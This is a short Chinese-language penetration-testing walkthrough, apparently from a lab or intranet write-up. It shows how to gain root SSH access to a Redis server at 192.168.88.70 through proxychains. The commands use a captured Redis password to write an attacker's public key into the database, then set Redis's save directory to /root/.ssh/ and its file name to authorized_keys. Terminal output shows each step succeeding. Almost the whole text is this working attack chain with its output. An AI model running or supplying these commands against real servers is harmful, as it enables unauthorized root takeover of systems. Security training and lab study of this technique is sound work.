可以设置密码,这里使用的空密码
将生成的公钥保存到key.txt:(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt
将保存的key.txt文件内容写入redis:cat key.txt|proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456" -x set bolean
登录redis:proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456"
配置目录:config set dir /root/.ssh/
重命名:config set dbfilename "authorized_keys"
最后保存即可:save
┌──(rooteval)-[~/id_rsa]└─# proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456"[proxychains] config file found: /etc/proxychains.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.15Warning: Using a password with '-a' option on the command line interface may not be safe.[proxychains] Strict chain ... 127.0.0.1:1090 ... 192.168.88.70:6379 ... OK192.168.88.70:6379> config set dir /root/.ssh/OK192.168.88.70:6379> config set dbfilename "authorized_keys"OK192.168.88.70:6379> saveOK192.168.88.70:6379>
远程登录即可:proxychains ssh -i id_rsa root@192.168.88.70